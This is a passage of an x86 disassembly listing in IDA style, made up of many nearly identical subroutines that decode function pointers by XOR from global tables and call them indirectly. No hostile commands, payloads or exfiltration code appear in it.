edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AAEBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AAFBB proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA30o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Ch mov [ebp+var_2C], 7 mov [ebp+var_28], 47h mov [ebp+var_24], 0BCh mov [ebp+var_20], 44h mov [ebp+var_1C], 90h mov [ebp+var_18], 6Eh mov [ebp+var_14], 72h mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB04C mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB04C: ; CODE XREF: sub_4AAFBB+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AAFBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB0B8 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA34o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0ACh mov [ebp+var_2C], 9Bh mov [ebp+var_28], 0D4h mov [ebp+var_24], 7Bh mov [ebp+var_20], 65h mov [ebp+var_1C], 1Eh mov [ebp+var_18], 0A5h mov [ebp+var_14], 62h mov [ebp+var_10], 4 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 4 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB149 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB149: ; CODE XREF: sub_4AB0B8+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB0B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB1B5 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA38o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 6Dh mov [ebp+var_2C], 5Bh mov [ebp+var_28], 0F6h mov [ebp+var_24], 2 mov [ebp+var_20], 0D5h mov [ebp+var_1C], 15h mov [ebp+var_18], 2Fh mov [ebp+var_14], 39h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB246 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB246: ; CODE XREF: sub_4AB1B5+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB1B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB2B2 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA3Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Ah mov [ebp+var_2C], 50h mov [ebp+var_28], 0F8h mov [ebp+var_24], 60h mov [ebp+var_20], 8Eh mov [ebp+var_1C], 0D8h mov [ebp+var_18], 0E3h mov [ebp+var_14], 0F9h mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB343 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB343: ; CODE XREF: sub_4AB2B2+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB2B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB3AF proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA40o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 90h mov [ebp+var_2C], 71h mov [ebp+var_28], 5Ch mov [ebp+var_24], 0B3h mov [ebp+var_20], 71h mov [ebp+var_1C], 0C4h mov [ebp+var_18], 0B2h mov [ebp+var_14], 4Ch mov [ebp+var_10], 14h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 14h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB440 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB440: ; CODE XREF: sub_4AB3AF+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB3AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB4AC proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA44o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0BBh mov [ebp+var_2C], 45h mov [ebp+var_28], 0 mov [ebp+var_24], 16h mov [ebp+var_20], 0DDh mov [ebp+var_1C], 48h mov [ebp+var_18], 1Fh mov [ebp+var_14], 0E0h mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB53D mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB53D: ; CODE XREF: sub_4AB4AC+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB4AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB5A9 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA48o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Ah mov [ebp+var_2C], 6Ch mov [ebp+var_28], 0D4h mov [ebp+var_24], 66h mov [ebp+var_20], 14h mov [ebp+var_1C], 0B8h mov [ebp+var_18], 0FBh mov [ebp+var_14], 0EBh mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB63A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB63A: ; CODE XREF: sub_4AB5A9+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB5A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB6A6 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA4Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 94h mov [ebp+var_2C], 74h mov [ebp+var_28], 0DDh mov [ebp+var_24], 0B1h mov [ebp+var_20], 89h mov [ebp+var_1C], 66h mov [ebp+var_18], 0Fh mov [ebp+var_14], 1Bh mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB737 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB737: ; CODE XREF: sub_4AB6A6+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB6A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB7A3 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA50o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 21h mov [ebp+var_2C], 0EFh mov [ebp+var_28], 0EBh mov [ebp+var_24], 9Ch mov [ebp+var_20], 10h mov [ebp+var_1C], 1Eh mov [ebp+var_18], 0C0h mov [ebp+var_14], 0D2h mov [ebp+var_10], 0Ch mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ch and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB834 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB834: ; CODE XREF: sub_4AB7A3+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB7A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB8A0 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA54o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0CDh mov [ebp+var_2C], 58h mov [ebp+var_28], 0BBh mov [ebp+var_24], 4Fh mov [ebp+var_20], 0EBh mov [ebp+var_1C], 0A7h mov [ebp+var_18], 5Ch mov [ebp+var_14], 7Dh mov [ebp+var_10], 5 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 5 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AB931 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AB931: ; CODE XREF: sub_4AB8A0+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB8A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AB99D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA58o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 66h mov [ebp+var_2C], 0A9h mov [ebp+var_28], 5Bh mov [ebp+var_24], 77h mov [ebp+var_20], 0A1h mov [ebp+var_1C], 0E9h mov [ebp+var_18], 0F5h mov [ebp+var_14], 0C0h mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ABA2E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ABA2E: ; CODE XREF: sub_4AB99D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AB99D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ABA9A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA5Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0B5h mov [ebp+var_2C], 0EDh mov [ebp+var_28], 1Ch mov [ebp+var_24], 0A4h mov [ebp+var_20], 0E2h mov [ebp+var_1C], 0ADh mov [ebp+var_18], 0D1h mov [ebp+var_14], 84h mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ABB2B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ABB2B: ; CODE XREF: sub_4ABA9A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ABA9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ABB97 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA60o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 9Eh mov [ebp+var_2C], 0A2h mov [ebp+var_28], 0EAh mov [ebp+var_24], 32h mov 